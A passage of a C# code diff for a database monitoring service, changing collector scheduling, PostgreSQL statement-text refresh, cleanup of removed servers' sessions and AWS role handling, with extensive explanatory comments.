+    /// together are <see cref="RunsDetached"/>. The parameter is <c>name</c>, as in the dispatch loop: the Lite
+    /// suite counts the plan_correction predicate's calls that are spelled with <c>collectorName</c>, to pin that
+    /// the gate acquisition tests it once, and this is not that call.
+    /// </summary>
+    internal static bool IsDetachedByName(string name) =>
+        IsQueryStoreCollector(name) || IsPlanCorrectionCollector(name) || IsPgWaitSamplingCollector(name);
+
+    /// <summary>
+    /// #4999: THE test for whether a collector's scheduled run leaves its server's sequential pass: the three
+    /// detached by name (<see cref="IsDetachedByName"/>) and every daily collector by cadence
+    /// (<see cref="IsDailyInterval"/>, over the EFFECTIVE interval, where an on-load collector's 0 is already its
+    /// daily recapture). The pass dispatches by it, and get_collection_health leaves exactly these collectors
+    /// out of its sweep-body roll-up by it, so the two cannot disagree about what runs in the pass: a detached
+    /// run is not part of the body, and a long run of it is not an overrun of the body.
+    /// </summary>
+    internal static bool RunsDetached(string name, int effectiveIntervalMinutes) =>
+        IsDetachedByName(name) || IsDailyInterval(effectiveIntervalMinutes);
+
+    /// <summary>
+    /// #4999: the (server, collector) slot an INLINE run of a daily collector takes: the at-connect run of an on-load
+    /// collector (<see cref="RunOnLoadAsync"/>) and an operator snapshot. It is the slot the detached scheduled run
+    /// holds for as long as it is going or queued for a permit, so an inline run never starts beside it. Returns the
+    /// lease; <c>null</c> when the slot is held, which the caller reads as "that collector's scheduled run is already
+    /// going: leave this one out"; and <see cref="DetachedCollectorGate.NotGated"/> for a collector this does not
+    /// cover, which is one that does not run detached and one of the three detached by name, whose slot
+    /// <see cref="RunOneAsync"/> takes itself (taking it here too would make that run find it held).
+    /// </summary>
+    private IDisposable? TryTakeInlineDailySlot(int serverId, string collectorName, EffectiveSchedule effective) =>
+        RunsDetached(collectorName, CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(effective.FrequencyMinutes))
+        && !IsDetachedByName(collectorName)
+            ? _detachedCollectorGates.GetOrAdd((serverId, collectorName), static _ => new DetachedCollectorGate()).TryAcquire()
+            : DetachedCollectorGate.NotGated;
+
+    /// <summary>
+    /// #2219: refreshes this PostgreSQL server's statement text if it is due, and swallows everything if not.
+    ///
+    /// <para><b>Best-effort by construction.</b> It runs after the statistics have already been collected and
+    /// logged, so nothing here can cost a collection: unreadable text is a degraded read, a lost collection is
+    /// lost data, and those are not the same severity. Every fault mode — the target refusing
+    /// <c>aurora_stat_statements</c>, a store write failing, the cadence query erroring — logs once and leaves
+    /// the statistics intact.</para>
+    ///
+    /// <para><b>Due-ness is asked of the STORE</b> (<see cref="PgStatementText.IsDueSql"/>), not remembered here.
+    /// A restart therefore cannot re-fetch the fleet, and two hosts writing one store cannot disagree about when
+    /// text was last written. The same <c>now</c> is used for the decision and the rows it stamps, so the cadence
+    /// cannot drift against its own timestamps.</para>
+    ///
+    /// <para>Only for PostgreSQL targets: <c>aurora_stat_statements</c> does not exist elsewhere, and the
+    /// statement-stats collector is already engine-gated, so this mirrors that gate rather than trusting it.</para>
+    /// </summary>
+    private async Task TryRefreshPgStatementTextAsync(ServerRuntime runtime, CancellationToken cancellationToken)
+    {
+        if (runtime.Target.Engine != CollectorTargetEngine.PostgreSql)
+        {
+            return;
+        }
+
+        var fetchClock = Stopwatch.StartNew();
+        try
+        {
+            var now = PgStatementText.Naive(DateTime.UtcNow);
+            var due = now - PgStatementText.RefreshInterval;
+
+            await using (var isDue = _postgres!.CreateCommand(PgStatementText.IsDueSql))
+            {
+                isDue.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
+                isDue.Parameters.AddWithValue(runtime.ServerId);
+                isDue.Parameters.AddWithValue(PgStatementText.Naive(due));
+                if (await isDue.ExecuteScalarAsync(cancellationToken) is not true)
+                {
+                    return;
+                }
+            }
+
+            var (queryIds, texts) = await ReadPgStatementTextAsync(runtime, cancellationToken);
+            if (queryIds.Count == 0)
+            {
+                return;
+            }
+
+            var stamps = new DateTime[queryIds.Count];
+            Array.Fill(stamps, now);
+
+            await using var upsert = _postgres!.CreateCommand(PgStatementText.UpsertSql);
+            upsert.CommandTimeout = ServiceCommandDeadlines.CollectionSweepSeconds;
+            upsert.Parameters.AddWithValue(Enumerable.Repeat(runtime.ServerId, queryIds.Count).ToArray());
+            upsert.Parameters.AddWithValue(queryIds.ToArray());
+            upsert.Parameters.AddWithValue(texts.ToArray());
+            upsert.Parameters.AddWithValue(stamps);
+            await upsert.ExecuteNonQueryAsync(cancellationToken);
+
+            _logger.LogInformation(
+                "  [{Server}] pg_statement_text => {Count} statement text(s) refreshed (#2219)",
+                runtime.Config.DisplayName, queryIds.Count);
+
+            /* #5320: a refresh that worked writes a SUCCESS row under the same name the failure row uses. Collection
+               health bands a name from the counts of its rows and the age of its newest success, so a name that
+               only ever wrote errors would read failing until the error aged out of the window, whatever the
+               refreshes after it did. The row carries the rows stored and the fetch-plus-store time; a due check
+               that finds nothing due, and a fetch that returns no statements, write none. */
+            await DarlingObservability.LogCollectionAsync(
+                _postgres!, runtime, PgStatementText.CollectorName, "SUCCESS", queryIds.Count, fetchClock.ElapsedMilliseconds, 0,
+                errorMessage: null,
+                fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: null, _logger, cancellationToken);
+        }
+        catch (OperationCanceledException)
+        {
+            throw;
+        }
+        catch (Exception ex)
+        {
+            /* Deliberately broad — see the summary. The statistics for this cycle are already stored and logged;
+               losing their text is not worth failing the sweep over. */
+            _logger.LogWarning(
+                "  [{Server}] pg_statement_text refresh failed, statistics are unaffected: {Message} (#2219)",
+                runtime.Config.DisplayName, ex.Message);
+
+            /* #5320: the failure is also an ERROR row in the collection log under the text fetch's own name, so a
+               fetch that keeps timing out on the target shows in collection health instead of only in the service
+               log. The statistics run's own row stays as it was written: its data was collected. */
+            await DarlingObservability.LogCollectionAsync(
+                _postgres!, runtime, PgStatementText.CollectorName, "ERROR", 0, fetchClock.ElapsedMilliseconds, 0,
+                PgStatementText.DescribeFailure(ex),
+                fanout: null, phases: null, drain: null, fetchPhases: null, sweepPeerMaxMs: null, _logger, cancellationToken);
+        }
+    }
+
+    /// <summary>
+    /// Reads <c>(queryid, query)</c> from the monitored PostgreSQL server with <c>showtext = true</c> (#2219).
+    /// Capped, and ordered by total execution time so a catalog larger than the cap keeps the text for the
+    /// queries anyone would actually look at rather than an arbitrary slice.
+    /// <para>#2651: the SOURCE is chosen by flavor. This read was Aurora-only, so off Aurora the text table
+    /// was never populated at all — which made get_pg_top_queries return a null query_text on every row
+    /// forever, and made test_hypothetical_index (#2612) unable to resolve a statement on the one platform
+    /// it can be tested against.</para>
+    /// </summary>
+    private static async Task<(List<long> QueryIds, List<string> Texts)> ReadPgStatementTextAsync(
+        ServerRuntime runtime, CancellationToken cancellationToken)
+    {
+        var queryIds = new List<long>();
+        var texts = new List<string>();
+
+        /* The upsert keys on (server_id, queryid) and a batch carrying one queryid twice does not lose one
+           row - PostgreSQL aborts the whole statement with 21000, so the non-duplicate rows are lost with
+           it. Both source arms already dedupe in SQL, which is where it belongs: the fetch knows which
            duplicate is the costliest and can order for it. This is the backstop, here because the bug being
            fixed WAS a source arm missing that dedupe - #2651 added the vanilla arm with it and left the
            Aurora arm (#2284) without, and for a week every Aurora server stored no text at all. A third
@@ -4848,7 +6095,7 @@ occurrence of a queryid is the row the SQL already chose. */
         await connection.OpenAsync(cancellationToken);
         await using var command = new Npgsql.NpgsqlCommand(
             PgStatementText.FetchSqlFor(runtime.Target.IsAurora, runtime.Target.PostgresMajorVersion),
-            connection) { CommandTimeout = 60 };
+            connection) { CommandTimeout = PgStatementText.FetchCommandTimeoutSeconds };
         command.Parameters.AddWithValue(PgStatementTextRowCap);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
@@ -4963,7 +6210,7 @@ forever. Cheap (an indexed UPDATE matching nothing in the normal case) and safe
     /// </summary>
     private async Task<long?> ReloadFromStoreAsync(
         StoreConfigProvider provider, DarlingConfig config, List<ServerLoopState> servers,
-        MuteRuleService muteRuleService, CancellationToken cancellationToken)
+        MuteRuleService muteRuleService, DarlingCollectorRunner runner, CancellationToken cancellationToken)
     {
         var view = await provider.LoadViewAsync(config, cancellationToken);
         if (view is null)
@@ -5010,11 +6257,22 @@ loop reads this on its next tick. Single writer (this reload), so no interlock n
         /* Structural reconcile mutates the server list; the command loop reads it concurrently, so hold
            the lock across the add/remove. NextDue recompute mutates only per-server state (safe against a
            concurrent id lookup) so it stays outside the lock. */
+        List<RemovedLongQueryServer> removedServers;
         lock (_serversLock)
         {
+            /* #4961: the reconcile clears a removed server's runtime and drops its state in one synchronous step, so what the
+               drop below needs (the definition, the runtime, the long-query latch) is taken first. */
+            removedServers = DarlingRemovedServerSessions.Capture(servers, view.EnabledServers, runner);
             ReconcileServers(servers, view.EnabledServers);
+
+            /* #5452: an assumed-role session is kept only while an enabled server names its role and external ID. */
+            runner.RetainAwsRoles(servers.Select(state => state.Config.AwsRoleKey).OfType<Targets.AwsRoleKey>());
         }
 
+        /* #4961: a removed server's sessions of this install's go with it, awaited here, after the lock is released: the
+           servers' lock is never held across a connection. */
+        await DropRemovedServerSessionsAsync(removedServers, runner, cancellationToken);
+
         await RecomputeNextDueAsync(servers, cancellationToken);
 
         /* Mirror the desired enable state onto the observed collect.servers registry so a disable_server
@@ -5036,16 +6294,48 @@ disagree about what was applied. */
     }
 
     /// <summary>
-    /// The ONLY route from this service to <see cref="MuteRuleService.LoadAsync"/> — startup and every
-    /// control-plane reload both come through here, so neither path can be guarded while the other is not.
-    ///
-    /// <para>The service keeps the rules it already read when the store read throws, so the operator's
-    /// suppression survives a store blip: that guarantee lives in <c>LoadAsync</c> and holds whatever this
-    /// method does. What this method owns is the reporting. A failed reload leaves a cache that is CORRECT
-    /// and STALE, and the only way to tell that apart from a cache that is correct and current is an
-    /// artefact of the failure — so the event is logged with the number of rules left standing, and counted
-    /// on #3013's swallowed-alerting-read surface with a null server key, because
-    /// <c>config_mute_rules</c> belongs to the store rather than to any monitored server.</para>
+    /// The removed servers of one reload drop this install's sessions on them (#4961), one at a time, each in one attempt
+    /// within <see cref="DarlingRemovedServerSessions.Timeout"/>. The registry already holds the servers that remain, so
+    /// the removed one holds nothing back. Nothing it meets stops the reload: the drop logs its own failures.
+    /// </summary>
+    private async Task DropRemovedServerSessionsAsync(
+        List<RemovedLongQueryServer> removedServers, DarlingCollectorRunner runner, CancellationToken stoppingToken)
+    {
+        if (removedServers.Count == 0)
+        {
+            return;
+        }
+
+        var remaining = _registryState.Read()?.Servers;
+        bool TraceOn(int otherId) => StoreConfigProvider.ResolveSchedule("long_query_completions", otherId, _scheduleOverrides).Enabled;
+        foreach (var removed in removedServers)
+        {
+            using var sessionDrop = CancellationTokenSource.CreateLinkedTokenSource(stoppingToken);
+            sessionDrop.CancelAfter(DarlingRemovedServerSessions.Timeout);
+            /* On premises the guard reads the other registrations' last-known instance names, inside the same timeout. */
+            await DarlingRemovedServerSessions.DropAsync(
+                removed,
+                runner,
+                remaining,
+                TraceOn,
+                token => LongQueryTraceInstanceGuardFor(
+                    removed.Runtime.ServerId, remaining, TraceOn, (otherId, carrier) => runner.GetCollectorStateAsync(otherId, carrier, token)),
+                _logger,
+                sessionDrop.Token);
+        }
+    }
+
+    /// <summary>
+    /// The ONLY route from this service to <see cref="MuteRuleService.LoadAsync"/> — startup and every
+    /// control-plane reload both come through here, so neither path can be guarded while the other is not.
+    ///
+    /// <para>The service keeps the rules it already read when the store read throws, so the operator's
+    /// suppression survives a store blip: that guarantee lives in <c>LoadAsync</c> and holds whatever this
+    /// method does. What this method owns is the reporting. A failed reload leaves a cache that is CORRECT
+    /// and STALE, and the only way to tell that apart from a cache that is correct and current is an
+    /// artefact of the failure — so the event is logged with the number of rules left standing, and counted
+    /// on #3013's swallowed-alerting-read surface with a null server key, because
+    /// <c>config_mute_rules</c> belongs to the store rather than to any monitored server.</para>
     ///
     /// <para>Counted rather than exempt: this is a store read, on the alert pass's own command deadline,
     /// whose failure changes what the alert engine does on its next sweep. That is the population #3013
@@ -5118,6 +6408,16 @@ private void ReconcileServers(List<ServerLoopState> servers, IReadOnlyList<Monit
                    calls after this and re-populate the server's cache for one pass; that is the same window the
                    Forget above tolerates, and a re-add inside it is the A5 epoch question, not this one. */
                 _deltas?.ClearServer(id);
+                /* The RDS endpoint verdict and fresh login held for this id go with the server: a re-add checks again. */
+                _runner?.ForgetRdsVerdicts(id);
+                /* #5518: and the backfill's cached database list and the fence's database names for it. */
+                _queryStoreBackfill?.ForgetServer(id);
+                /* #4999: and its single-flight slots. The id is the registration's, so a re-add carries the same one, and a
+                   run of this removed state that is still going, or still queued for a permit (hours, behind other daily
+                   runs), would hold the slot the re-added server's first daily run needs. That run would skip, and a
+                   skipped daily run waits a day. The old run keeps the slot object it holds and gives it back harmlessly;
+                   it ends at its own re-read (Retired) when it still waits for a permit. */
+                ForgetDetachedRunSlots(id);
                 servers.RemoveAt(i);
                 continue;
             }
@@ -5139,7 +6439,7 @@ private void ReconcileServers(List<ServerLoopState> servers, IReadOnlyList<Monit
                 state.NextDue.Clear();
                 /* #3653 A5 (the adjacency #3540 A4 named and left): a same-id reconnect is a new epoch. The
                    fields ServerDefinitionEquals compares are the ones that decide WHICH instance the
-                   connection reaches (host, database, auth, intent, subnet failover) or WHAT it collects
+                   connection reaches (host, port, engine, database, auth, intent, subnet failover) or WHAT it collects
                    (excluded databases) — so a change here means the counters the next pass reads may be a
                    different instance's while the server_id, and every baseline cached under it, stays the
                    same. Left cached, the first pass after the reconnect would store one interval of
@@ -5156,6 +6456,9 @@ edit that never removes. The cost is one re-baseline pass on every family after
                    when an operator points a registration at a different instance, and named here rather than
                    avoided: avoiding it means a store write on this reload path to erase the persisted pair. */
                 _deltas?.ClearServer(id);
+                /* The RDS endpoint verdict and fresh login held for this id belong to the old definition (host, role,
+                   credentials), so the next RDS read asks AWS and logs in again. */
+                _runner?.ForgetRdsVerdicts(id);
             }
 
             desiredById.Remove(id);
@@ -5184,7 +6487,7 @@ an earlier registration (it was disabled across a restart, so the removal Forget
     /// change takes effect promptly without over-firing. A server still connecting has no NextDue yet —
     /// <see cref="TryConnectAsync"/> seeds it from the same watermark policy when it connects.
     /// </summary>
-    private async Task RecomputeNextDueAsync(List<ServerLoopState> servers, CancellationToken cancellationToken)
+    internal async Task RecomputeNextDueAsync(List<ServerLoopState> servers, CancellationToken cancellationToken)
     {
         var now = DateTime.UtcNow;
         foreach (var server in servers)
@@ -5197,8 +6500,11 @@ private async Task RecomputeNextDueAsync(List<ServerLoopState> servers, Cancella
 
             /* #1575: the watermark map is read at most ONCE per server, and only if this reload actually
                introduces a NEW collector entry (a just-enabled collector) — a reload that only tweaks existing
-               entries costs no extra store round-trip. Lazily populated on the first new entry below. */
+               entries costs no extra store round-trip. Lazily populated on the first new entry below.
+               #4938: it is also read, still once, when a reload sets, changes or clears a collector's run time and
+               the last run is not already held in memory. */
             Dictionary<string, DateTime>? watermarks = null;
+            var clock = server.Clock;
 
             foreach (var name in CollectorScheduleDefaults.All.Keys)
             {
@@ -5206,7 +6512,12 @@ introduces a NEW collector entry (a just-enabled collector) — a reload that on
                 if (!effective.Enabled)
                 {
                     /* ConcurrentDictionary has no Remove(key) — TryRemove is the drop-in for the old Remove. */
-                    server.NextDue.TryRemove(name, out _);
+                    lock (server.ScheduleLock)
+                    {
+                        server.NextDue.TryRemove(name, out _);
+                        server.RunTimeSlots.TryRemove(name, out _);
+                    }
+
                     continue;
                 }
 
@@ -5214,33 +6525,143 @@ introduces a NEW collector entry (a just-enabled collector) — a reload that on
                    it ALSO reruns on OnLoadRecaptureMinutes, exactly like the connect-time seed and the
                    due-collector sweep below. */
                 var interval = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(effective.FrequencyMinutes);
+                RunTimeRule? rule = effective.RunAtMinute is int runAt ? new RunTimeRule(runAt, runtime.ServerId, clock.ToUtc) : null;
+                var slot = ReadRunTimeSlot(server, name);
 
                 if (server.NextDue.TryGetValue(name, out var existing))
                 {
+                    if (rule is { } kept && slot is not null
+                        && slot.RunAtMinute == kept.RunAtMinute
+                        && slot.IntervalMinutes == interval
+                        && string.Equals(slot.ClockId, clock.Id, StringComparison.Ordinal))
+                    {
+                        /* #4938: the run time and the clock are the ones this stamp was computed from, so an edit to some
+                           other row leaves it where it is. The cap below would pull a stamp that sits more than one
+                           interval ahead (a 25-hour autumn day, or an interval that was just shortened) in to now plus
+                           the interval, which moves the run to the time of day of the edit. */
+                        continue;
+                    }
+
+                    if (rule is { } changed)
+                    {
+                        /* #4938: a run time that was just set or changed, or a clock that changed, computes the slot again,
+                           from the last run held in memory when there is one and the persisted mark when not. */
+                        watermarks ??= await ReadCollectorWatermarksAsync(_postgres!, runtime.ServerId, _logger, cancellationToken);
+                        if (AfterRecomputeWatermarkReadForTest is { } afterRead)
+                        {
+                            await afterRead(server, name);
+                        }
+                        /* #5033: a run recorded while the watermarks were being read is in the slot now, not in the one read
+                           above, so the slot is read again under the lock and the later last run wins. `now` is stale after
+                           the await, so the time is taken again inside the lock. */
+                        lock (server.ScheduleLock)
+                        {
+                            var nowLocked = DateTime.UtcNow;
+                            server.RunTimeSlots.TryGetValue(name, out var currentSlot);
+                            var changedLastRun = Newer(currentSlot?.LastRunUtc, slot?.LastRunUtc)
+                                ?? (watermarks.TryGetValue(name, out var cw) ? cw : (DateTime?)null);
+                            server.NextDue[name] = ComputeSeededNextDue(
+                                changedLastRun, interval, nowLocked, SeedJitter(runtime.ServerId, interval * 60), changed);
+                            server.RunTimeSlots[name] = new RunTimeSlot(changed.RunAtMinute, interval, clock.Id, changedLastRun);
+                        }
+
+                        continue;
+                    }
+
+                    if (slot is not null)
+                    {
+                        /* #4938: the run time was cleared, so the collector returns to the rule it had without one: its
+                           last run plus the interval, or now plus the seed jitter when that has passed. */
+                        watermarks ??= await ReadCollectorWatermarksAsync(_postgres!, runtime.ServerId, _logger, cancellationToken);
+                        if (AfterRecomputeWatermarkReadForTest is { } afterRead)
+                        {
+                            await afterRead(server, name);
+                        }
+                        lock (server.ScheduleLock)
+                        {
+                            var nowLocked = DateTime.UtcNow;
+                            server.RunTimeSlots.TryGetValue(name, out var currentSlot);
+                            var clearedLastRun = Newer(currentSlot?.LastRunUtc, slot.LastRunUtc)
+                                ?? (watermarks.TryGetValue(name, out var xw) ? xw : (DateTime?)null);
+                            server.RunTimeSlots.TryRemove(name, out _);
+                            server.NextDue[name] = ComputeSeededNextDue(
+                                clearedLastRun, interval, nowLocked, SeedJitter(runtime.ServerId, interval * 60));
+                        }
+
+                        continue;
+                    }
+
                     /* Existing entry KEEPS its already-applied phase, but is pulled in to at most now + the
                        (possibly shortened) interval so a frequency change takes effect promptly without
                        over-firing — unchanged from before. */
                     var capped = now.AddMinutes(interval);
-                    server.NextDue[name] = existing < capped ? existing : capped;
+                    /* #5033: the stamp is re-read and written under the schedule lock, so a run's record that lands
+                       between the two cannot be overwritten by the older value. */
+                    lock (server.ScheduleLock)
+                    {
+                        if (server.NextDue.TryGetValue(name, out var existingLocked))
+                        {
+                            server.NextDue[name] = existingLocked < capped ? existingLocked : capped;
+                        }
+                    }
                 }
                 else
                 {
                     /* NEW entry — a collector this reload newly enables. Seed it from the persisted watermark
                        (the same #1575 policy as the connect-seed) so a newly-enabled long-frequency collector
                        resumes its real cadence instead of deferring up to a full interval; the small capped
-                       jitter still de-clusters an overdue / never-run fleet-wide enable. */
+                       jitter still de-clusters an overdue / never-run fleet-wide enable. With a run time (#4938)
+                       the seed is the slot instead, so a collector enabled at noon waits for its run time. */
                     watermarks ??= await ReadCollectorWatermarksAsync(_postgres!, runtime.ServerId, _logger, cancellationToken);
-                    var lastRun = watermarks.TryGetValue(name, out var w) ? w : (DateTime?)null;
+                    if (AfterRecomputeWatermarkReadForTest is { } afterRead)
+                    {
+                        await afterRead(server, name);
+                    }
+                    var watermark = watermarks.TryGetValue(name, out var w) ? w : (DateTime?)null;
                     var jitter = SeedJitter(runtime.ServerId, interval * 60);
-                    server.NextDue[name] = ComputeSeededNextDue(lastRun, interval, now, jitter);
+                    lock (server.ScheduleLock)
+                    {
+                        var nowLocked = DateTime.UtcNow;
+                        server.RunTimeSlots.TryGetValue(name, out var currentSlot);
+                        var lastRun = Newer(currentSlot?.LastRunUtc, watermark);
+                        server.NextDue[name] = ComputeSeededNextDue(lastRun, interval, nowLocked, jitter, rule);
+                        if (rule is { } seeded)
+                        {
+                            server.RunTimeSlots[name] = new RunTimeSlot(seeded.RunAtMinute, interval, clock.Id, lastRun);
+                        }
+                        else
+                        {
+                            server.RunTimeSlots.TryRemove(name, out _);
+                        }
+                    }
                 }
             }
         }
     }
 
+    /// <summary>
+    /// #5452: the AWS role exception behind <paramref name="ex"/> when it is one an operator can act on (the allow list does
+    /// not list the role, its partition is not the target's, STS refused it, the region is disabled), found through any
+    /// wrapper; otherwise null. The role arm of the collector run filters on this.
+    /// </summary>
+    internal static AwsRoleAssumeException? AwsRoleConfigurationFault(Exception ex)
+        => AwsRoleAssumeException.Find(ex) is { IsConfiguration: true } found ? found : null;
+
+    /// <summary>
+    /// #5452: writes the warning line for a server whose AWS role cannot be used and returns the text for its
+    /// <c>collection_log</c> row. Both are the exception's own message, which names the role ARN and whether an external ID is
+    /// set and never the ID. One method so the two outputs cannot differ, and so a test can read both.
+    /// </summary>
+    internal static string AwsRoleFaultNote(ILogger logger, string serverName, string collectorName, AwsRoleAssumeException fault)
+    {
+        logger.LogWarning("  [{Server}] {Collector} => PERMISSIONS: {Message}", serverName, collectorName, fault.Message);
+        return fault.Message;
+    }
+
     /// <summary>
     /// Whether two server definitions are identical for the collection loop — the connection-relevant fields
-    /// plus the collection-affecting excluded databases. A difference triggers a reconnect on reconcile so the
+    /// (host, port, engine, database, auth, credentials, intent), the server's own AWS role and external ID (#5452: a role-only edit
+    /// reconnects, so the runtime reads under the new role and the host check starts over), plus the collection-affecting excluded databases. A difference triggers a reconnect on reconcile so the
     /// new definition takes effect. <c>MonthlyCostUsd</c> is deliberately NOT compared: it does not affect
     /// collection at all, and the reload's <see cref="DarlingObservability.SyncServerEnabledStatesAsync"/>
     /// mirrors a cost change straight onto <c>collect.servers</c> (which the FinOps display reads) with no
@@ -5259,6 +6680,9 @@ internal static bool ServerDefinitionEquals(MonitoredServer a, MonitoredServer b
         && a.TrustServerCertificate == b.TrustServerCertificate
         && a.ReadOnlyIntent == b.ReadOnlyIntent
         && a.MultiSubnetFailover == b.MultiSubnetFailover
+        && a.Port == b.Port
+        && a.TargetEngine == b.TargetEngine
+        && a.AwsRoleKey == b.AwsRoleKey
         && a.ExcludedDatabases.SequenceEqual(b.ExcludedDatabases, StringComparer.OrdinalIgnoreCase);
 
     /// <summary>
@@ -5292,33 +6716,15 @@ private void DiscardStaleConnection(ServerLoopState server, ServerRuntime runtim
     }
 
     /// <summary>
-    /// A deterministic, restart-stable per-server phase offset within a cadence period (#1553 cadence jitter),
-    /// used to break the fleet-wide lockstep at cadence boundaries — the field incident re-herded every server
-    /// at once, so at each boundary all collectors fired together. The <paramref name="serverId"/> is
-    /// <see cref="MonitoredServer.ServerId"/>, which today is an FNV-1a hash
-    /// (<see cref="ServerIdHelper.GetDeterministicHashCode"/>) — so a plain modulo spreads it across
-    /// <c>[0, period)</c> without any further mixing (an extra multiply was reviewed out as unnecessary — the
-    /// input is already avalanched). This is the ONE consumer that wants the value only as a spreading
-    /// function rather than as an identity, so if #2218 ever makes ids sequential the extra mixing that was
-    /// reviewed out has to come back here: consecutive integers modulo a period do not spread, they line up.
-    /// Restart-stable because it is a pure function of the id — no <see cref="Random"/>.
-    /// A non-positive period yields no offset (guards the callers where a period could in principle be zero, and
-    /// keeps the result well-defined for tests). Applied ONLY at initial cadence stamps, never the steady-state
-    /// advance: directly for the on-connect analysis stamp, and — capped at min(interval, 150s) via
-    /// <see cref="SeedJitter"/> — as the small de-cluster jitter <see cref="ComputeSeededNextDue"/> adds to an
-    /// overdue or never-run collector seed (#1575). Internal so a unit test can pin its shape.
+    /// The deterministic, restart-stable per-server phase offset within a cadence period (#1553 cadence jitter).
+    /// The rule moved to <see cref="CollectorCadence.CadencePhaseOffset"/> (#4938) so the shared run-time rules in the
+    /// collectors project can use it; this forwards to it, so the seed jitter (<see cref="SeedJitter"/>), the
+    /// cold-start spread (<see cref="ColdStartFirstSweepDue"/>) and the on-connect analysis stamp, and the pins on
+    /// them, keep one spelling and the same values. Applied ONLY at initial cadence stamps, never the steady-state
+    /// advance. Internal so a unit test can pin its shape.
     /// </summary>
     internal static TimeSpan CadencePhaseOffset(int serverId, int periodSeconds)
-    {
-        if (periodSeconds <= 0)
-        {
-            return TimeSpan.Zero;
-        }
-
-        /* Cast to uint first so a negative FNV hash still maps into [0, period): a signed modulo would yield a
-           negative offset and pull the due time into the past. */
-        return TimeSpan.FromSeconds((uint)serverId % periodSeconds);
-    }
+        => CollectorCadence.CadencePhaseOffset(serverId, periodSeconds);
 
     /// <summary>
     /// The small, bounded per-server seed jitter (#1575): the deterministic <see cref="CadencePhaseOffset"/>
@@ -5396,8 +6802,21 @@ internal static DateTime NextGridStamp(DateTime currentDue, DateTime now, TimeSp
     /// Kind-agnostic (compares by ticks; the caller passes matching UTC values) so the policy is unit-tested
     /// without a live store or a connect. Internal so a unit test can pin the decision table.
     /// </summary>
-    internal static DateTime ComputeSeededNextDue(DateTime? lastRunUtc, int frequencyMinutes, DateTime nowUtc, TimeSpan jitter)
+    internal static DateTime ComputeSeededNextDue(DateTime? lastRunUtc, int frequencyMinutes, DateTime nowUtc, TimeSpan jitter,
+        RunTimeRule? runTime = null)
     {
+        /* #4938: a collector that has a run time replaces all three arms below. Its answer is a slot, the instant on the
+           server's clock the run time falls on plus the server's spread (CollectorRunTime.NextDue holds the rules): a
+           last run at or after today's slot waits for the next one, a collector that never ran waits for its first, and
+           only inside the hour after a slot does one run now. NextDue answers "now" for that case and the seed jitter is
+           added here, so the inside-the-grace answer is the one place now + jitter survives. Outside the grace
+           now + jitter would step on the quiet hour the run time exists to keep, so it is never returned there. */
+        if (runTime is { } rule && CollectorRunTime.AllowsRunAt(frequencyMinutes))
+        {
+            var slot = CollectorRunTime.NextDue(nowUtc, lastRunUtc, rule.RunAtMinute, frequencyMinutes, rule.ServerId, rule.LocalToUtc);
+            return slot <= nowUtc ? nowUtc + jitter : slot;
+        }
+
         if (lastRunUtc is DateTime lastRun)
         {
             var due = lastRun.AddMinutes(frequencyMinutes);
@@ -5407,6 +6826,48 @@ internal static DateTime ComputeSeededNextDue(DateTime? lastRunUtc, int frequenc
         return nowUtc + jitter;
     }
 
+    /// <summary>
+    /// #4938: the server pass's decision for one collector that has a run time, from its stamp. Three outcomes
+    /// (<see cref="RunTimeAction"/>):
+    /// <list type="bullet">
+    /// <item>the stamp is ahead of now: not due. It is judged with the room a run-time stamp needs
+    /// (<see cref="CollectorRunTime.MaxStampAhead"/>: the interval, an hour of spread and a 25-hour autumn day), so a stamp
+    /// a day and an hour away is a wait and not a clock that stepped back;</item>
+    /// <item>the stamp has come and now is no later than the grace after it: hand it off, and the next stamp is the slot
+    /// <c>interval / 1440</c> days on, computed from that date's local time (never the stamp plus 1440 minutes, which is
+    /// an hour off after a daylight-saving change);</item>
+    /// <item>the stamp has come and now is past the grace: that day is skipped and nothing is handed off, as a missed slot is
+    /// skipped everywhere else (#4636). The next stamp is the next slot, or now plus the seed jitter when a later slot's
+    /// grace is already running (a host that slept through several days).</item>
+    /// </list>
+    /// A skipped day counts 1 skipped slot when the sweep loop was running through it, and 0 after a sleep, a pause or a
+    /// stopped service: <paramref name="skipCreditFloor"/> is <see cref="SkipCreditFloor.Floor"/>, the instant the loop last
+    /// came back from a stretch it was not running, and a slot that came due before it is not the gate's doing. A run that is
+    /// handed off is delayed by the fleet cap, never dropped, so it records nothing here. Pure: the pass passes the clock and
+    /// the floor in, so every row is tested without a worker. Internal for that.
+    /// </summary>
+    internal static RunTimeStep StepRunTimeCollector(
+        DateTime due, DateTime nowUtc, DateTime skipCreditFloor, int intervalMinutes, RunTimeRule rule, TimeSpan jitter)
+    {
+        due = CollectorCadence.ClampDue(due, nowUtc, CollectorRunTime.MaxStampAhead(intervalMinutes));
+        if (nowUtc < due)
+        {
+            return new RunTimeStep(RunTimeAction.NotDue, due, 0);
+        }
+
+        if (nowUtc <= due + CollectorRunTime.Grace)
+        {
+            var next = CollectorRunTime.NextDue(nowUtc, nowUtc, rule.RunAtMinute, intervalMinutes, rule.ServerId, rule.LocalToUtc);
+            return new RunTimeStep(RunTimeAction.HandOff, next, 0);
+        }
+
+        var following = CollectorRunTime.NextDue(nowUtc, due, rule.RunAtMinute, intervalMinutes, rule.ServerId, rule.LocalToUtc);
+        return new RunTimeStep(
+            RunTimeAction.SkipDay,
+            following <= nowUtc ? nowUtc + jitter : following,
+            skipCreditFloor <= due ? 1 : 0);
+    }
+
     /// <summary>The floor applied to the watermark read below (#4469): how far back
     /// <see cref="ReadCollectorWatermarksAsync"/> is willing to look for a collector's last run. Two days,
     /// not one, so a floor-excluded row (a true last run 1–2 days back) can't be mistaken for never-run —
@@ -5528,6 +6989,107 @@ never break the connect / reload path. */
         return watermarks;
     }
 
+    /// <summary>The newest server-scoped <c>TimeZone</c> setting of a PostgreSQL target (#4938), the zone its clock keeps.
+    /// A session-scoped source (a client's own <c>TimeZone</c>) and a per-database or per-role setting do not describe the
+    /// server and are left out, the rules <c>PgTargetBaselineProvider</c> reads the same row by. $1 server_id; $2 the
+    /// oldest snapshot to look at, naive UTC. <see cref="TryReadServerClockAsync"/> runs it up to twice, with the bounds
